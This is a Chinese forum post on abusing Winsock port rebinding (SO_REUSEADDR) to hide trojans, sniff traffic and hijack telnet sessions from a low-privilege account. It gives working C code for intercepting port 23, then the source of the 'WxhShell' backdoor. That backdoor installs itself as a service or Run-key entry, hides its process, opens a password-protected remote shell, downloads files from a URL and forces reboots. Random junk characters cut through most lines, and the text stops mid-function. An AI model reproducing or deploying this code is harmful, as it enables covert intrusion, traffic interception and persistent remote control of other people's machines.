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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e~9g~k]s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I]pz3!On4,  
 tO D}&  
  saddr.sin_family = AF_INET; fQ -IM/z  
*+00  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oMYZ^b^  
ixoN#'y<"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7{k?" NF  
SL\15`[{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fP8bWZ{  
C*1 1?B[  
  这意味着什么?意味着可以进行如下的攻击: '$ z@40u  
SLH;iqPT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 83aWMmA(1  
^>eV}I5ak  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u6:$AA  
+1\t 0P24  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G_WHW(8   
W@%g_V}C*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o3NB3@uj<  
nU6UjC|3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8%a ^j\L  
zyt >(A1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?iamo.0zN  
7 <K=G2_:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9%0^fhrJ  
KFaYn  
  #include |@f\[v9`  
  #include ICc:k%wE7  
  #include rZ.z!10  
  #include    o,?h}@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x cZF_elt7  
  int main() ,E@}=x9p  
  { N] pw7S%  
  WORD wVersionRequested; Sw?EF8}[  
  DWORD ret; axK/YE7t  
  WSADATA wsaData; THgEHR0,}[  
  BOOL val; ~~m(CJ4S  
  SOCKADDR_IN saddr; \>{;,f  
  SOCKADDR_IN scaddr; @~&^1%37)  
  int err; Q~rE+?n9 F  
  SOCKET s; 'TA !JB+  
  SOCKET sc; m6A\R KJ'  
  int caddsize; 6 .[3N~pq  
  HANDLE mt; ;hEeFJ=/G  
  DWORD tid;   1F+JyZK}w  
  wVersionRequested = MAKEWORD( 2, 2 ); )@=fGNDt  
  err = WSAStartup( wVersionRequested, &wsaData ); [dqh-7  
  if ( err != 0 ) { ''q#zEf6  
  printf("error!WSAStartup failed!\n"); L!`PM.:9  
  return -1; !HP=Rgh  
  } dVn_+1\L  
  saddr.sin_family = AF_INET; Q]$pg5O  
   &;<'AF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qG]0z_dPE~  
j6L(U~%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O.8k [Ht  
  saddr.sin_port = htons(23); 1?Tj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8]bLp  
  { h2i1w^f  
  printf("error!socket failed!\n"); T#[#w*w/  
  return -1; R D?52\  
  }  NfmHa  
  val = TRUE; $s 'n]]Wq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g8" H{u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n?9FJOqi  
  { d'b9.ki\  
  printf("error!setsockopt failed!\n"); L@ejFXQg  
  return -1; \Xr*1DI<  
  } jx ?"`;a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IlB*JJnl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .Sv/0&O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @18}'k  
l 3 jlKB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,3!4 D^  
  { o,@ (]e~  
  ret=GetLastError(); FJT0lC  
  printf("error!bind failed!\n"); >&^jKfY  
  return -1; @3S:W2k  
  } SzfMQ@~  
  listen(s,2); p\.IP2+c  
  while(1) QFgKEUNgl  
  { 1y,/|Y  
  caddsize = sizeof(scaddr); .8;0O M  
  //接受连接请求 "^Y zHq6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OGG9f??  
  if(sc!=INVALID_SOCKET) 3 .KNAObO  
  { 7 y$a=+D i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;<nJBZB9u  
  if(mt==NULL) @Qp#Tg<'  
  { 2(Aw  
  printf("Thread Creat Failed!\n"); GR_caP  
  break; n9-WZsc1  
  } @Y}G,i  
  } e0<O6  
  CloseHandle(mt); nyBT4e  
  } Zq5~M bldh  
  closesocket(s); 9\0$YY%  
  WSACleanup(); yD@eT:lyi  
  return 0; 5du xW>D  
  }   ^MG"n7)X  
  DWORD WINAPI ClientThread(LPVOID lpParam) SDVnyT  
  { yM,Y8^  
  SOCKET ss = (SOCKET)lpParam; D_`NCnYG  
  SOCKET sc; su3Wk,MLP  
  unsigned char buf[4096]; xJA{Hws  
  SOCKADDR_IN saddr; oArJ%Y>  
  long num; Lu5X~6j"$  
  DWORD val; o/oLL w  
  DWORD ret; % iZM9Q&NC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 : LT'#Q8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2IUd?i3~l  
  saddr.sin_family = AF_INET; ;mPX8bT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nlaW$b{=  
  saddr.sin_port = htons(23); P]armg%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b[:{\ !I  
  { '|<S`,'#hg  
  printf("error!socket failed!\n"); &:1q3 gDm  
  return -1; usC$NVdm  
  } 7:<A_OLi  
  val = 100; +oL@pp0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \1QY=}  
  { G.PRPl  
  ret = GetLastError(); 'K#ndCGJ$  
  return -1; %joL}f[  
  } <Y$( l szT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f[ia0w5 m  
  { 4yjIR?  
  ret = GetLastError(); \k^ojzJ  
  return -1; |"+Uf w^  
  } `3@?)xa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l,zhBnD  
  { C2\zbC[qm  
  printf("error!socket connect failed!\n"); A~ _2"  
  closesocket(sc); *N"CV={No  
  closesocket(ss); m(0X_& &?z  
  return -1; !Lw]aHb  
  } 7!\zo mx  
  while(1) |=MhI5gsx  
  { B-PX/Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5L_`Fw\l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d[XMQX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "\ =Phqw   
  num = recv(ss,buf,4096,0); Lj3Pp$h  
  if(num>0) U]@?[+I0]  
  send(sc,buf,num,0); ),|z4~  
  else if(num==0) 3rjKwh7  
  break; dC|6z/  
  num = recv(sc,buf,4096,0); o?6m/Klw6  
  if(num>0) `*U$pg  
  send(ss,buf,num,0); V Ew| N)  
  else if(num==0) t[@>u'YKt  
  break; u8M_2r  
  } beSU[  
  closesocket(ss); XUD Ztxa  
  closesocket(sc); gga}mqMv=  
  return 0 ; "F6gV;{Bt  
  } /bPs0>5  
KSHq0A6/q%  
76KNgV)3  
========================================================== ={+8jQqi1  
9C0#K\  
下边附上一个代码,,WXhSHELL -Mz [S  
DUh\x>^  
========================================================== Ez-Q'v(9  
k%Vprc  
#include "stdafx.h" b4WH37,lA  
>k/cm3  
#include <stdio.h> 51y#A Q@  
#include <string.h> h72CGA|  
#include <windows.h> ic"8'Rwb  
#include <winsock2.h> tC5-^5[y  
#include <winsvc.h> UGj |)/  
#include <urlmon.h> n.z,-H17  
c&FOt  
#pragma comment (lib, "Ws2_32.lib") WqF$-rBJG^  
#pragma comment (lib, "urlmon.lib") =0!j"z=  
! Dj2/][  
#define MAX_USER   100 // 最大客户端连接数 V; CPn  
#define BUF_SOCK   200 // sock buffer X6 N&:<  
#define KEY_BUFF   255 // 输入 buffer 7 nFOV Z  
Am_>x8z  
#define REBOOT     0   // 重启 %:zu68Q[  
#define SHUTDOWN   1   // 关机 'tvuw\hhL  
P^48]Kj7  
#define DEF_PORT   5000 // 监听端口 7 )r L<+  
_53~D=  
#define REG_LEN     16   // 注册表键长度 ??U/Qi180  
#define SVC_LEN     80   // NT服务名长度 \"Y,1in#  
H-U_  
// 从dll定义API V)N{Fr)&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XmwAYf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 yy5 l!fv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D79:L:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "WUS?Q  
G\TO ]c  
// wxhshell配置信息 %^vT7c>  
struct WSCFG { I[d<SHo  
  int ws_port;         // 监听端口 ]JV'z<  
  char ws_passstr[REG_LEN]; // 口令 ]bY]YNt{7]  
  int ws_autoins;       // 安装标记, 1=yes 0=no (QJe-)0_y  
  char ws_regname[REG_LEN]; // 注册表键名 ovBmo2W/  
  char ws_svcname[REG_LEN]; // 服务名 xLDD;Qm,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g\ vT7x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r$}C<a[U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m!ueqV"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no upL3M`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z0m`%(MJa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sA77*T  
2wHbhW[  
}; V 3cKbk7~  
nS*Y+Q^9a  
// default Wxhshell configuration \ "$$c  
struct WSCFG wscfg={DEF_PORT, )<:TpMdUk  
    "xuhuanlingzhe", .\glNH1d  
    1, T9H*]LxK  
    "Wxhshell", 1{ %y(?`  
    "Wxhshell", qS FtQ4  
            "WxhShell Service", JcA+ztPU  
    "Wrsky Windows CmdShell Service", F!wz{i6\h  
    "Please Input Your Password: ", oSC'b%  
  1, nGkSS_X  
  "http://www.wrsky.com/wxhshell.exe", =@?[.`  
  "Wxhshell.exe" %&| uT  
    }; %kjG[C  
!W9:)5^X  
// 消息定义模块 ]p 3f54!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +ovK~K $A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *^~ =/:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Y@T5-!D  
char *msg_ws_ext="\n\rExit."; $?G@ijk,  
char *msg_ws_end="\n\rQuit."; ElV!C}g  
char *msg_ws_boot="\n\rReboot..."; 5;UIz@BJ  
char *msg_ws_poff="\n\rShutdown..."; "8{A4N1B5  
char *msg_ws_down="\n\rSave to "; }: HG)V  
n]ba1t8ZA  
char *msg_ws_err="\n\rErr!"; '=n?^EPE3  
char *msg_ws_ok="\n\rOK!"; g}xL7bTlI>  
Oo}h:3?  
char ExeFile[MAX_PATH]; &|~7`  
int nUser = 0; /uj^w&l#  
HANDLE handles[MAX_USER]; *}d N.IL,  
int OsIsNt; J-5>+E,nZ  
8Auek#[  
SERVICE_STATUS       serviceStatus; ,0.kg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yJq<&g  
aQtd6L+ J  
// 函数声明 @wI>0B  
int Install(void); ExS5RV@v'  
int Uninstall(void); JfIXv  
int DownloadFile(char *sURL, SOCKET wsh); MK=oGzK  
int Boot(int flag); _9 ]:0bDUo  
void HideProc(void); Y \-W`  
int GetOsVer(void); <f>w"r  
int Wxhshell(SOCKET wsl); gM\>{ihM'  
void TalkWithClient(void *cs); SG&,o =I$  
int CmdShell(SOCKET sock); ir_XU/ve  
int StartFromService(void); $`E?=L`$  
int StartWxhshell(LPSTR lpCmdLine); q[,p#uJ]  
&uK(. @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6*q1%rs:w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^{4BcM7eH  
;7QXs39S  
// 数据结构和表定义 Mh.1KI[t  
SERVICE_TABLE_ENTRY DispatchTable[] = 8(L$a1#5W  
{ 25$_tZP AI  
{wscfg.ws_svcname, NTServiceMain}, G?1GkR  
{NULL, NULL} >u&D@7~c  
}; .d]/:T -0  
P0,]`w  
// 自我安装 IR6W'vA  
int Install(void) @MES.g  
{ / \w4k  
  char svExeFile[MAX_PATH]; AafS6]y  
  HKEY key; $^ee~v;m4  
  strcpy(svExeFile,ExeFile); ?,>3uD#  
lFjz*g2'  
// 如果是win9x系统,修改注册表设为自启动 7__[=)(b2X  
if(!OsIsNt) { YsVmU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ](w)e p~;3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i6'=]f'{  
  RegCloseKey(key); /Sw~<B!8N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EAGvP&~P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L,[Q/ $S8  
  RegCloseKey(key); r exv)!J  
  return 0; aDF@A S  
    } }qn>#ETi  
  } ("2X8(3z  
} $[>{s9E  
else { SK}sf9gTv  
qzUiBwUi@  
// 如果是NT以上系统,安装为系统服务 y2jv84 M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _O`p(6  
if (schSCManager!=0) .~f )4'T 9  
{ R^l0Bu]X  
  SC_HANDLE schService = CreateService  '"B  
  ( Kjd3!%4mB  
  schSCManager, Qr$'Q7  
  wscfg.ws_svcname, e*7O!Z=O  
  wscfg.ws_svcdisp, .<%tu 0  
  SERVICE_ALL_ACCESS, >G6kF!V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IA2VesHb  
  SERVICE_AUTO_START, {N4 'g_  
  SERVICE_ERROR_NORMAL, .l1x~(  
  svExeFile, ?+t;\  
  NULL, ys9:";X;}  
  NULL, FS1\`#Bm)  
  NULL, |>;PV4])(  
  NULL, ,*|Q=  
  NULL 4$xVm,n|  
  ); (U:-z=E#1  
  if (schService!=0) c RLw)"|  
  { ,HZ%q]*:~  
  CloseServiceHandle(schService); Lh[0B.g<  
  CloseServiceHandle(schSCManager); u cpU $+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Ea%nghl  
  strcat(svExeFile,wscfg.ws_svcname); Bl b#h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0/R;g~q@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f .O^R~,  
  RegCloseKey(key); Kb%Y%j  
  return 0; ;ElCWs->\  
    } W=+n |1  
  } hVz yvpw  
  CloseServiceHandle(schSCManager); @_ %RQO_X  
} cMY}Y [2c  
} <?.eU<+O`S  
A9xe Oy8e  
return 1; //63|;EEkl  
} Fv^zSoi2  
1&boD\ 7  
// 自我卸载 \CjJa(vV  
int Uninstall(void) ?Lg<)B9   
{ EF)BezG5y  
  HKEY key; 5?0<.f,  
32ki ?\P  
if(!OsIsNt) { ^~~Rto)Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]? y~;-^  
  RegDeleteValue(key,wscfg.ws_regname); OJ&'Z}LB  
  RegCloseKey(key); [G}dPXD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wn[)/*(,$(  
  RegDeleteValue(key,wscfg.ws_regname); L$PbC!1  
  RegCloseKey(key); `+,?%W)  
  return 0; p1UloG\  
  } a=MN:s?Fc0  
}  0s;~9>  
} ]o] VS  
else { Lz 1.+:Ag  
&|Gg46P7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o/{`\4  
if (schSCManager!=0) r2RJb6  
{ * :L"#20:R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z<X=00,wg  
  if (schService!=0) ~J].~^[  
  { #*iUZo  
  if(DeleteService(schService)!=0) { \IL)~5d  
  CloseServiceHandle(schService); |4@cX<d.  
  CloseServiceHandle(schSCManager); _Raf7W  
  return 0; fpf]qQ W~7  
  } 1/-3m Po  
  CloseServiceHandle(schService); m9[ 7"I  
  } nah?V" ?Y  
  CloseServiceHandle(schSCManager); ,WyEwc]  
} p/Ul[7A4e  
} '4'Z  
0|AgmW_7 .  
return 1; yJ?=##  
} PysDDU}v  
yQhO-jT  
// 从指定url下载文件 $ar^U  
int DownloadFile(char *sURL, SOCKET wsh) m,HE4`g  
{ dj0%?g>  
  HRESULT hr; 9`f@"%h  
char seps[]= "/"; $FPq8$V  
char *token; (.#nl}fA  
char *file; X_78;T)uA  
char myURL[MAX_PATH]; ys`-QlkB  
char myFILE[MAX_PATH]; fG0ZVV!   
Kd oI  
strcpy(myURL,sURL); a>v *  
  token=strtok(myURL,seps); do8[wej<:  
  while(token!=NULL) /r7xA}se^  
  { ?}Zo~]7E  
    file=token; # xO PF9  
  token=strtok(NULL,seps); R'gd/.[e  
  } if&bp ,  
+?)7 l  
GetCurrentDirectory(MAX_PATH,myFILE); F3bTFFt  
strcat(myFILE, "\\"); 5UQ {qm*Q  
strcat(myFILE, file); fqI67E$59  
  send(wsh,myFILE,strlen(myFILE),0); lAnq2j|  
send(wsh,"...",3,0); %Y~"Stmx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7T/BzXr,B  
  if(hr==S_OK) Ek<Qz5)  
return 0; v]SxZLa  
else )WoH>D  
return 1; Z#.d7B"  
*EuX7LEu_  
} l,o'J%<%  
1m5l((d  
// 系统电源模块 c'Z=uL<Rm  
int Boot(int flag) WWp MuB_G  
{ %_|KiW  
  HANDLE hToken; Hhtl~2t!0  
  TOKEN_PRIVILEGES tkp; D&FDPaJM  
tdK&vqq  
  if(OsIsNt) { |Ahf 01  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kN/YnY*J<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,=+t2Bn  
    tkp.PrivilegeCount = 1; xgxfPcI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  T7nI/y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LzL)qdL  
if(flag==REBOOT) { Pg}QRCB@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1o&zA<+NY  
  return 0; xN*k&!1&  
} LcGKYl(\K  
else { I0x)d`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,yC..aI  
  return 0; K<^p~'f4P  
} g>t1rZ  
  } a]p9 [Nk  
  else { o-bH3Jkb]&  
if(flag==REBOOT) { 6>]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g**!'T4&o  
  return 0; L(|K{vHh]  
} [7}3k?42X  
else { i+14!LlI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t"B3?<?]  
  return 0; Ue \A ,  
} JtO}i{A  
} },d^y:m  
K~d'*J-  
return 1; ymm]+v5S.]  
} dU9;sx  
_&]7  
// win9x进程隐藏模块 6 rnFXZ\  
void HideProc(void) Md4Q.8  
{ ?EC\ .{  
;~0q23{+;U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 3 ]e< '  
  if ( hKernel != NULL ) *IOrv)  
  { |? V7E\S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W(]A^C=/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LM eI[Ji  
    FreeLibrary(hKernel); f+9eB  
  } wn@~80)$  
8=$XhC  
return; QKjn/%l"@  
} <%YW/k"o  
:m `D   
// 获取操作系统版本 t*= nI $  
int GetOsVer(void) >c_fUX={  
{ oJD]h/fQs  
  OSVERSIONINFO winfo; /W .s1N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9}QIqH\p  
  GetVersionEx(&winfo); "m{i`<,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OH06{I>;  
  return 1; Lk|`\I T  
  else f+9WGNpw  
  return 0; E"'u2jEG^  
} -Kg.w*\H7/  
aB6/-T+ u  
// 客户端句柄模块 +\ftSm>  
int Wxhshell(SOCKET wsl) s=:)!M.i  
{ 6hj[/O)E  
  SOCKET wsh; Y-bTKSn  
  struct sockaddr_in client; ?;oJ=.T  
  DWORD myID; VLV]e_D6s  
y7/4u-_c  
  while(nUser<MAX_USER) ~qZ6I)?  
{ $e+4Kt ,  
  int nSize=sizeof(client); u D(C jHM>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .nZKy't   
  if(wsh==INVALID_SOCKET) return 1; 0UJ6> Rj  
yf&_l^!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >>$L vQ  
if(handles[nUser]==0) &jY| :Fe  
  closesocket(wsh); %T$>E7]!  
else 3Iqvc v  
  nUser++; ?5CE<[  
  } hqln6m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .tKBmq0xo"  
Xps \+l%i  
  return 0; YZ<z lU  
} vLxaZWr  
"Bwz Fh  
// 关闭 socket 4!Radl3`  
void CloseIt(SOCKET wsh) c3GBY@m  
{ \)5mO 8w  
closesocket(wsh); <pV8 +V)  
nUser--; zgz!"knVx  
ExitThread(0); j_d}?jh  
} p>eYi \'  
R`]@.i4tt  
// 客户端请求句柄  K!ILO  
void TalkWithClient(void *cs) @?e~l:g})g  
{ y0Gblza  
}J6:D]Q  
  SOCKET wsh=(SOCKET)cs; ^;ZpK@Luk  
  char pwd[SVC_LEN]; -HGRrWS  
  char cmd[KEY_BUFF]; 4 .c1  
char chr[1]; QOK,-  
int i,j; c $r"q :\  
E[#VWM I  
  while (nUser < MAX_USER) { ]&H"EHC<$  
;%d<Uk?  
if(wscfg.ws_passstr) { U]}FA2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eH7x>[lH.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /ojx$Um  
  //ZeroMemory(pwd,KEY_BUFF); E`.hM}h  
      i=0; XYR q"{Id  
  while(i<SVC_LEN) { zWU]4;,"  
lx4p Tw1  
  // 设置超时 eI"pRH*f  
  fd_set FdRead; %\-E R !b  
  struct timeval TimeOut; b>QdP$>  
  FD_ZERO(&FdRead); _cJ)v/]  
  FD_SET(wsh,&FdRead); N$Ad9W?T  
  TimeOut.tv_sec=8; 5.ab/uk;M  
  TimeOut.tv_usec=0; QY4;qA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &k,DAx`rN;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ECi;o1hda  
7w2$?k',-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V-7l+C5  
  pwd=chr[0]; uvJHkAi  
  if(chr[0]==0xd || chr[0]==0xa) { N$e mS  
  pwd=0; mWYrUI  
  break; ]QHp?Ii1  
  } 5,p;b  
  i++; EPn!6W5^  
    } 5- GS@fY  
"`cN k26JZ  
  // 如果是非法用户,关闭 socket )EB+(c~E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vu@.;-2E%  
} 'fl.&"/r  
{H(l"KuL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .xwskzJ3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pTi7Xy!Cw  
9tv,,I;iU  
while(1) { bwhH2^ !  
"[P3b"=gW  
  ZeroMemory(cmd,KEY_BUFF); n_; s2,2r  
5PZ!ZO&  
      // 自动支持客户端 telnet标准   0sU*3r?  
  j=0; <$s sU{5  
  while(j<KEY_BUFF) { sM MtU@<x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x5MS#c!7  
  cmd[j]=chr[0]; czIAx1R9  
  if(chr[0]==0xa || chr[0]==0xd) { [m{sl(Q  
  cmd[j]=0; { rLgyrj$  
  break; xE;O =mI  
  } b MD|  
  j++; g(tVghHxt$  
    } M1WD^?tKQ.  
z]rr Q=dAA  
  // 下载文件 m-azd ~r[  
  if(strstr(cmd,"http://")) { ]w>o=<?b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]i(/T$?~  
  if(DownloadFile(cmd,wsh)) 3s?u05_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnnGM,"ol  
  else vTx>z\7q,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SWx: -<  
  } nl 'MWP  
  else { v.<mrI#?  
hT1JEu  
    switch(cmd[0]) { FfM^2`xP  
  [5~mP`He  
  // 帮助 5C1EdQ4S0  
  case '?': { (o IGp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |?VJf3 A  
    break; -GFZFi  
  } 8u~  
  // 安装 :p}8#rb  
  case 'i': { /a^ R$RHl'  
    if(Install()) nyi!D   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qJ`:$U  
    else f%.Ngf9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [HY r|T  
    break; MAkr9AKb,  
    } '42$O  
  // 卸载 I4jRz*Ufe?  
  case 'r': { {rR(K"M  
    if(Uninstall()) }r@dZ Bp:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}9VZ r?  
    else J6s]vV q"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bz_'>6w  
    break; zsJ# CDm  
    } p" >*WQ   
  // 显示 wxhshell 所在路径 f/O6~I&g  
  case 'p': { e1-tpD:J  
    char svExeFile[MAX_PATH]; !Nx1I  
    strcpy(svExeFile,"\n\r"); SC~k4&xy  
      strcat(svExeFile,ExeFile); HQ-+ +;Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~>(~2083*;  
    break; )L:e0u  
    } 1X5g(B  
  // 重启  <EU R:  
  case 'b': { ^C'0Y.H S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \wA:58 -j  
    if(Boot(REBOOT)) ErNYiYLi]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oq.ss!/z  
    else { x ']'ODs  
    closesocket(wsh); )  FR7t  
    ExitThread(0); ]w6Q?%'9  
    } -sQ[f18  
    break; *"w hup[  
    } Z,#H\1v3lB  
  // 关机 cp(qaa  
  case 'd': { \PE;R.v_:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HCN/|z1Xq  
